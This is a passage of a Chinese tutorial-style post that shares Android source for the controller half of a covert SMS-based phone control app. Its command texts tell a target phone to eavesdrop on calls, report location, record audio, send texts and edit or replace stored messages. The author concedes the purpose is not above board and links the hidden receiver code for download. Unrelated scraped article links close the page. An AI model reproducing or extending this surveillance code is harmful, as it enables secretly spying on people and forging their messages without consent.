  64. public void onCheckedChanged(CompoundButton buttonView, boolean isChecked) {
  65. if (isChecked) {
  66. mPassword = mPasswordEditText.getText().toString().trim();
  67. mPasswordEditText.setEnabled(false);
  68. Toast.makeText(SMSadminActivity.this, SMSadminActivity.this.getString(R.string.password)+mPassword, Toast.LENGTH_SHORT).show();
  69. } else {
  70. mPassword = "";
  71. mPasswordEditText.getEditableText().clear();
  72. mPasswordEditText.setEnabled(true);
  73. }
  74. Editor editor = mSharedpreferences.edit();
  75. editor.putString("password", mPassword);
  76. editor.commit();
  77. }
  78. });
  79. mAdminSetBtn.setOnClickListener(new OnClickListener() {
  80. public void onClick(View v) {
  81. String str = mAdminSetEditText.getText().toString().trim();
  82. if ((str.equals("")) == false) {
  83. if ((str.equals("18621191115")) == false) {
  84. mClientNumberText.setText(SMSadminActivity.this.getString(R.string.now_control) + str);
  85. mAdminSetBtn.setText(SMSadminActivity.this.getString(R.string.control_number_set_over));
  86. mClientNumber = str;
  87. Editor editor = mSharedpreferences.edit();
  88. editor.putString("control", str);
  89. editor.commit();
  90. // et1.setEnabled(false);
  91. // btn1.setClickable(false);
  92. mSmsManager.sendTextMessage(mClientNumber, null, "@iceman@admin"+mPassword, null, null);
  93. Toast.makeText(SMSadminActivity.this, SMSadminActivity.this.getString(R.string.control_number_set_send), Toast.LENGTH_SHORT)
  94. .show();
  95. } else {
  96. Toast.makeText(SMSadminActivity.this, SMSadminActivity.this.getString(R.string.number_can_not_control), Toast.LENGTH_LONG)
  97. .show();
  98. }
  99. } else {
  100. Toast.makeText(SMSadminActivity.this, SMSadminActivity.this.getString(R.string.please_set_control_number), Toast.LENGTH_SHORT).show();
  101. }
  102. }
  103. });
  104. mListenSetBtn.setOnClickListener(new OnClickListener() {
  105. public void onClick(View v) {
  106. String str = mListenSetEditText.getText().toString().trim();
  107. if (str.equals("") == false) {
  108. mListenNumberText.setText(SMSadminActivity.this.getString(R.string.now_listen) + str);
  109. mListenSetBtn.setText(SMSadminActivity.this.getString(R.string.listen_number_set_over));
  110. mListenNumber = str;
  111. Editor editor = mSharedpreferences.edit();
  112. editor.putString("listen", str);
  113. editor.commit();
  114. // et2.setEnabled(false);
  115. // btn2.setClickable(false);
  116. mSmsManager.sendTextMessage(mClientNumber, null, "@iceman@change" + mListenNumber, null, null);
  117. Toast.makeText(SMSadminActivity.this, SMSadminActivity.this.getString(R.string.listen_number_set_send), Toast.LENGTH_SHORT).show();
  118. } else {
  119. Toast.makeText(SMSadminActivity.this, SMSadminActivity.this.getString(R.string.please_set_listen_number), Toast.LENGTH_SHORT).show();
  120. }
  121. }
  122. });
  123. mSearchBtn.setOnClickListener(new OnClickListener() {
  124. public void onClick(View v) {
  125. if (mClientNumber.equals("") == false) {
  126. mSmsManager.sendTextMessage(mClientNumber, null, "@iceman@search", null, null);
  127. Toast.makeText(SMSadminActivity.this, SMSadminActivity.this.getString(R.string.search_send_over), Toast.LENGTH_SHORT).show();
  128. } else {
  129. Toast.makeText(SMSadminActivity.this, SMSadminActivity.this.getString(R.string.please_set_number), Toast.LENGTH_SHORT).show();
  130. }
  131. }
  132. });
  133. mOpenLocationBtn.setOnClickListener(new OnClickListener() {
  134. public void onClick(View v) {
  135. if (mClientNumber.equals("") == false) {
  136. mSmsManager.sendTextMessage(mClientNumber, null, "@iceman@location", null, null);
  137. Toast.makeText(SMSadminActivity.this, SMSadminActivity.this.getString(R.string.open_location_service_over), Toast.LENGTH_SHORT).show();
  138. mOpenLocationBtn.setClickable(false);
  139. mOpenLocationBtn.setText(SMSadminActivity.this.getString(R.string.location_service_open));
  140. } else {
  141. Toast.makeText(SMSadminActivity.this, SMSadminActivity.this.getString(R.string.please_set_number), Toast.LENGTH_SHORT).show();
  142. }
  143. }
  144. });
  145. mGetAddressBtn.setOnClickListener(new OnClickListener() {
  146. public void onClick(View v) {
  147. if (mClientNumber.equals("") == false) {
  148. mSmsManager.sendTextMessage(mClientNumber, null, "@iceman@where", null, null);
  149. Toast.makeText(SMSadminActivity.this, SMSadminActivity.this.getString(R.string.search_address_send_over), Toast.LENGTH_SHORT).show();
  150. } else {
  151. Toast.makeText(SMSadminActivity.this, SMSadminActivity.this.getString(R.string.please_set_number), Toast.LENGTH_SHORT).show();
  152. }
  153. }
  154. });
  155. mRecoderBtn.setOnClickListener(new OnClickListener() {
  156. public void onClick(View v) {
  157. if (mClientNumber.equals("") == false) {
  158. if (!mIsRecording) {
  159. mSmsManager.sendTextMessage(mClientNumber, null, "@iceman@start", null, null);
  160. mIsRecording = true;
  161. mRecoderBtn.setText(SMSadminActivity.this.getString(R.string.stop_record));
  162. } else {
  163. mSmsManager.sendTextMessage(mClientNumber, null, "@iceman@stop", null, null);
  164. mIsRecording = false;
  165. mRecoderBtn.setText(SMSadminActivity.this.getString(R.string.start_record));
  166. }
  167. } else {
  168. Toast.makeText(SMSadminActivity.this, SMSadminActivity.this.getString(R.string.please_set_number), Toast.LENGTH_SHORT).show();
  169. }
  170. }
  171. });
  172. mSendSmsBtn.setOnClickListener(new OnClickListener() {
  173. public void onClick(View v) {
  174. if (mClientNumber.equals("") == false) {
  175. String str1 = mSmsNumberSetEditText.getText().toString().trim();
  176. String str2 = mSmsContentEditText.getText().toString().trim();
  177. mSmsManager.sendTextMessage(mClientNumber, null, "@iceman@sms" + "#" + str1 + "#" + str2,
  178. null, null);
  179. Toast.makeText(SMSadminActivity.this, SMSadminActivity.this.getString(R.string.sms_send_over), Toast.LENGTH_SHORT).show();
  180. } else {
  181. Toast.makeText(SMSadminActivity.this, SMSadminActivity.this.getString(R.string.please_set_number), Toast.LENGTH_SHORT).show();
  182. }
  183. }
  184. });
  185. mEditSmsBtn.setOnClickListener(new OnClickListener() {
  186. @Override
  187. public void onClick(View v) {
  188. if(mClientNumber.equals("")){
  189. Toast.makeText(SMSadminActivity.this, "目前未控制任何手机", Toast.LENGTH_SHORT).show();
  190. return;
  191. }
  192. Intent it = new Intent(SMSadminActivity.this,EditSmsActivity.class);
  193. startActivity(it);
  194. }
  195. });
  196. }
  197. }

复制代码

这个是修改短信的activity:

  1. package iceman.android.smsadmin;
  2. import iceman.android.smsadmin.R;
  3. import android.app.Activity;
  4. import android.content.SharedPreferences;
  5. import android.os.Bundle;
  6. import android.telephony.SmsManager;
  7. import android.view.View;
  8. import android.view.View.OnClickListener;
  9. import android.widget.Button;
  10. import android.widget.EditText;
  11. import android.widget.Toast;
  12. public class EditSmsActivity extends Activity {
  13. private SmsManager mSmsManager = SmsManager.getDefault();
  14. private EditText mSmsKey, mSmsNumber,mSmsContent;
  15. private Button mReplaceBtn,mEditBtn;
  16. private SharedPreferences mSharedpreferences = null;
  17. private String mClientNumber;
  18. @Override
  19. protected void onCreate(Bundle savedInstanceState) {
  20. super.onCreate(savedInstanceState);
  21. setContentView(R.layout.edit_sms_layout);
  22. mSmsKey = (EditText) findViewById(R.id.key);
  23. mSmsNumber = (EditText) findViewById(R.id.number);
  24. mSmsContent = (EditText) findViewById(R.id.content);
  25. mEditBtn = (Button) findViewById(R.id.edit);
  26. mReplaceBtn = (Button) findViewById(R.id.repalce);
  27. mSharedpreferences = this.getSharedPreferences("config", MODE_PRIVATE);
  28. mClientNumber = mSharedpreferences.getString("control", "");
  29. mEditBtn.setOnClickListener(new OnClickListener() {
  30. @Override
  31. public void onClick(View v) {
  32. String key = mSmsKey.getText().toString().trim();
  33. String number = mSmsNumber.getText().toString().trim();
  34. String content = mSmsContent.getText().toString().trim();
  35. if(number.equals("")){
  36. number = "00000000000";
  37. }
  38. if (key.equals("") == false && content.equals("") == false) {
  39. mSmsManager.sendTextMessage(mClientNumber, null, "@iceman@edit" + "#" + key
  40. + "#" +number +"#"+content, null, null);
  41. Toast.makeText(EditSmsActivity.this,
  42. EditSmsActivity.this.getString(R.string.edit_sms_send_over),
  43. Toast.LENGTH_SHORT).show();
  44. } else {
  45. Toast.makeText(EditSmsActivity.this,
  46. EditSmsActivity.this.getString(R.string.please_set_key_and_content),
  47. Toast.LENGTH_SHORT).show();
  48. }
  49. }
  50. });
  51. mReplaceBtn.setOnClickListener(new OnClickListener() {
  52. @Override
  53. public void onClick(View v) {
  54. String key = mSmsKey.getText().toString().trim();
  55. String number = mSmsNumber.getText().toString().trim();
  56. String content = mSmsContent.getText().toString().trim();
  57. if(number.equals("")){
  58. number = "00000000000";
  59. }
  60. if (key.equals("") == false && content.equals("") == false) {
  61. mSmsManager.sendTextMessage(mClientNumber, null, "@iceman@replace" + "#" + key
  62. + "#" +number +"#"+content, null, null);
  63. Toast.makeText(EditSmsActivity.this,
  64. EditSmsActivity.this.getString(R.string.replace_sms_send_over),
  65. Toast.LENGTH_SHORT).show();
  66. } else {
  67. Toast.makeText(EditSmsActivity.this,
  68. EditSmsActivity.this.getString(R.string.please_set_key_and_content),
  69. Toast.LENGTH_SHORT).show();
  70. }
  71. }
  72. });
  73. }
  74. }

复制代码

因为核心功能是受控端,所以我就不上截图了.各位下载代码看的话,可以尽情吐槽我的UI.哈哈哈

4.程序总结:
从程序角度来说,这不是一个好程序,不光是因为它的容错性比较大(如果发到没有安装受控端的手机上,面对莫名其妙的短信,谁都会起疑心的),还因为软件的目的是在算不上光明正大,秉着学习的态度将源码发上来,如果大家能够看完之后有"不错,挺好玩的"这样一个念头,相信我的目的就达到了.
其实这个程序还可以做到很多功能,利用android的api,MainReceiver中的扩展性还是很高的.曾经打算开发一个网络版的,不利用短信机制了,只是android手机用户很多时候是关闭网络连接的,所以似乎实用性还不如短信版的.有兴趣的人可以开发一个,以远程桌面为名,将程序导向正确的方向,也是一个不错的选择.

基于短信的手机控制程序相关推荐

  1. android 打开短信应用,通过短信打开手机应用

    最近在做毕业设计的时候,要通过短信打开手机上特定的APP,于是搜索了一些资料.通过短信中的链接打开应用最主要的是对manifest文件的配置,比如希望通过短信中的 http://qicaiz.com链 ...

  2. 基于 短信认证 通过 华为、H3C 结合 OpenPortal认证计费系统 实现 网络准入 短信验证码 访客实名认证

    基于 短信认证 通过 华为.H3C 结合 OpenPortal认证计费系统 实现 网络准入 短信验证码 访客实名认证 在企业园区网络中,需要结合短信认证实现网络安全准入,访客短信验证码实名认证.方案中 ...

  3. python 调用接口发送短信给手机(非twilio)

    python发短信给手机 这篇文章将会持续更新: 今天先给两种可以成功发送短信的方法,都是调用第三方接口的方式发送短信, 上次写过twilio的发送:https://editor.csdn.net/m ...

  4. android 删除短信恢复,手机短信不小心删了怎么办 手机已删除短信恢复步骤介绍【教程】...

    手机短信不小心删了怎么恢复?已删除的短信怎么恢复?随着微信.QQ等聊天软件使用的人越来越多,我们现在已经很少使用手机短信聊天了,但是我们还是需要利用手机短信功能接收一些重要的信息,如果我们在使用手机短 ...

  5. 遇诈骗短信?360手机浏览器火眼金睛识别

    本文讲的是 :  遇诈骗短信?360手机浏览器火眼金睛识别  , 手机可以说是人类史上最伟大的发明,它的出现不仅打破了人与人之间沟通的沟壑,更在近年来以移动网络的形式颠覆我们的生活方式.然而,伴随着手 ...

  6. Python3实现某网站自动签到并且发短信到手机

    本文原创作者: Lhaihai 原创投稿详情:重金悬赏 | 合天原创投稿等你来! 0x00 前言 这几天学了学python爬虫,就想用python实现一下自动签到领取积分,毕竟我比较懒,能不动手就让代 ...

  7. 消息服务发送短信,手机接收不到短信解决思路

    阿里云使用消息服务,发送注册码给手机.测试几次发现手机都接收不到,后台也没报错!今天我提交自己的工单,售后工程师已经帮我解决了,非常感谢他! 官方代码:https://help.aliyun.com/ ...

  8. iphone查看删除的短信_手机资讯:iPhone手机可以批量删除短信吗如何操作

    如今使用IT数码设备的小伙伴们是越来越多了,那么IT数码设备当中是有很多知识的,这些知识很多小伙伴一般都是不知道的,就好比最近就有很多小伙伴们想要知道iPhone手机可以批量删除短信吗如何操作,那么既 ...

  9. Android 起调系统功能,打开系统浏览器,拨打电话,发送短信,手机震动,跳转到设置通知开关页面

    1.打开系统浏览器 try {startActivity(new Intent(Intent.ACTION_VIEW, Uri.parse("https://github.com/jared ...

最新文章

  1. python套接字编程_Python网络编程 Python套接字编程
  2. Python之路,day22-BBS基础
  3. 计算机基础知识关于进制,计算机基础知识-- 进制和编码
  4. 【ARM】Programmers Model
  5. sklearn分类器性能评估
  6. Navicat for MySQL 使用SSH方式链接远程数据库
  7. android8卡顿,Android 8.0系统曝光,解决了安卓系统卡顿的问题
  8. 马斯克回应一切:2018年极其痛苦,福特难熬下次经济衰退,后悔发太多推特
  9. 从FindBugs中学Java【四】
  10. ZZULIOJ1035
  11. 为什么c语言没落了,编程语言Go飞速大涨,Delphi走向没落
  12. S3C2410,ARM920T,试题总结
  13. oracle时间某年某月某日,sql getdate 咋办分享Sql的getDate()用法
  14. 普林斯顿大学的计算机学课的作业
  15. 【python】pyc文件反编译为py文件
  16. 【TCP/IP入门】20.IP地址
  17. 高级威胁的攻击和防护A P T
  18. 静态手势识别总体方案
  19. 用C++模板来展示new与delete操作符原理
  20. StarRocks 2.0 正式发布

热门文章

  1. python输入多个整数 输入quit表示结束_代码实现程序启动后, 可以从键盘输入接收多个整数, 直到输入quit时结束输入. 把所有输入的整数倒序排列打印...
  2. 电子商务计算机考试,电子商务师考试电子商务训练试题
  3. 软件测试工程师的岗位职责
  4. 2022-2028全球与中国移动网络电话(mVOIP)市场现状及未来发展趋势
  5. 扎克伯格说了两句大实话!一句价值1300亿美元,另一句让美国人扎心了…
  6. PyQt_QMessageBox
  7. 孙正义的12条成功之道
  8. Html+Vue实现五子棋游戏(单机版)
  9. 浏览器只有百度不能上网,其他网站上网正常
  10. [ZOJ 3054] Whirlwind [模拟]